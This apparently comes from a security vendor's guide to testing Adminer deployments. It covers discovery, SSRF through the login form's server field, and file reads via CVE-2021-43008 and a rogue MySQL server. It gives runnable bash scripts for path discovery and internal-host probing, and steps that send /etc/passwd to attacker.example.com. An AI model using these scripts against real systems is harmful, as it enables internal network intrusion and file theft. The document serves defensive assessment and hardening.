Adminer Security Testing: SSRF via Server Field, Exposed Without Auth, and Database Credential Exposure

Adminer (formerly phpMinAdmin) is a lightweight single-file PHP database administration tool that supports MySQL, PostgreSQL, SQLite, Oracle, and other databases. Its simplicity makes it extremely common in web hosting environments, development stacks, and internal tools — and its design creates predictable security risks: Adminer is commonly found at /adminer.php, /adminer/, or /db/ with no authentication gate of its own, relying entirely on database credentials; the server field in Adminer's login form accepts any hostname or IP address that the PHP process can reach — pointing it to an internal database server constitutes SSRF, allowing an attacker to reach and authenticate against databases on the private network from the public internet; CVE-2021-43008 is a path traversal vulnerability in Adminer versions prior to 4.8.1 that allows an authenticated user (with any database credentials) to read arbitrary files from the web server; Adminer's file read functionality through MySQL's LOAD DATA LOCAL INFILE allows reading server files via a malicious MySQL server the attacker controls; and Adminer's export feature writes database dumps that may be accessible in the web root. This guide covers systematic Adminer security assessment.

Table of Contents

  1. Adminer Discovery
  2. SSRF via Server Field (Internal Database Pivot)
  3. CVE-2021-43008 and File Read via LOAD DATA LOCAL INFILE
  4. Adminer Security Hardening

Adminer Discovery

# Adminer is a single PHP file — look for it at common paths
PATHS=("/adminer.php" "/adminer/" "/adminer/adminer.php"
       "/db/" "/db/adminer.php" "/database/" "/phpadmin.php"
       "/admin/adminer.php" "/tools/adminer.php" "/adminer4.php")

TARGET="https://example.com"
for PATH in "${PATHS[@]}"; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" "${TARGET}${PATH}" 2>/dev/null)
  if [ "$CODE" == "200" ]; then
    echo "Found Adminer at ${TARGET}${PATH}"
    # Get version from page
    curl -s "${TARGET}${PATH}" 2>/dev/null | \
      grep -oE 'Adminer [0-9]+\.[0-9]+(\.[0-9]+)?' | head -1
  fi
done

SSRF via Server Field (Internal Database Pivot)

# The Adminer server field is the core SSRF vector
# Adminer accepts any server:port combination that the PHP host can reach
# This allows reaching databases on the internal network that are not internet-accessible

# Test 1: Probe internal database servers via Adminer server field
# Adminer will attempt a TCP connection to the specified host:port
# A connection error vs timeout reveals whether the port is open

# POST to Adminer with internal server to test reachability
# The response HTML reveals whether the connection succeeded or failed
for INTERNAL_HOST in "10.0.0.1:3306" "10.0.0.2:5432" "172.17.0.1:3306" \
    "db:3306" "mysql:3306" "postgres:5432" "database:3306"; do
  RESPONSE=$(curl -s -X POST "https://example.com/adminer.php" \
    --data "auth%5Bserver%5D=${INTERNAL_HOST}&auth%5Busername%5D=root&auth%5Bpassword%5D=&auth%5Bdb%5D=&auth%5Bdriver%5D=server" \
    2>/dev/null)
  if echo "$RESPONSE" | grep -q "Unknown database\|Access denied\|Table\|SELECT"; then
    echo "REACHABLE AND RESPONDING: ${INTERNAL_HOST} — connection succeeded"
  elif echo "$RESPONSE" | grep -q "Connection refused\|No connection"; then
    echo "REACHABLE BUT CLOSED: ${INTERNAL_HOST}"
  else
    echo "TIMEOUT/UNREACHABLE: ${INTERNAL_HOST}"
  fi
done

# Test 2: Adminer can connect to attacker-controlled MySQL server
# This allows reading server files via LOAD DATA LOCAL INFILE
# Set up a rogue MySQL server that sends LOAD DATA LOCAL INFILE for target files:
# github.com/Gifts/Rogue-MySql-Server or manual implementation

# With attacker-controlled MySQL server running, submit Adminer's login form
# with attacker server as the "server" parameter
echo "Rogue MySQL SSRF attack:"
echo "1. Start rogue MySQL server: python3 rogue_mysql.py --port 3306 --file /etc/passwd"
echo "2. POST adminer.php server=attacker.example.com:3306&username=any&password=any"
echo "3. Adminer connects to attacker server, receives LOAD DATA LOCAL INFILE request"
echo "4. Adminer reads target file from web server and sends contents to attacker MySQL"

Adminer Security Hardening

Adminer Security Hardening Checklist:
Security TestMethodRisk
Adminer accessible at predictable paths without auth gateProbe /adminer.php, /adminer/, /db/ — login form accessible = database brute force possibleHigh
SSRF via server field to internal databasesPOST to Adminer with internal host:port in server field — connects to internal MySQL/PostgreSQL via PHP networkCritical
Rogue MySQL SSRF file read via LOAD DATA LOCAL INFILEPoint Adminer server field at attacker-controlled MySQL server — reads web server files via MySQL protocolHigh
CVE-2021-43008 path traversal (Adminer < 4.8.1)Authenticated path traversal — reads arbitrary files from the web server filesystemHigh
Internal database credential brute force via AdminerSubmit login form with common credentials against internal database — bypasses network restrictionsHigh
Export files accessible in web rootGET /adminer_export.sql or similar — database dump files written during Adminer export operationsHigh

Automate Adminer Security Testing

Ironimo tests Adminer deployments for login pages accessible at common predictable paths without any authentication gate, SSRF via the server field allowing connections to internal database servers on the private network, rogue MySQL server SSRF enabling web server file reads via the LOAD DATA LOCAL INFILE protocol, CVE-2021-43008 path traversal in versions prior to 4.8.1, database export files accessible in the web document root, and internal database credential testing via Adminer's login form bypassing network restrictions.

Start free scan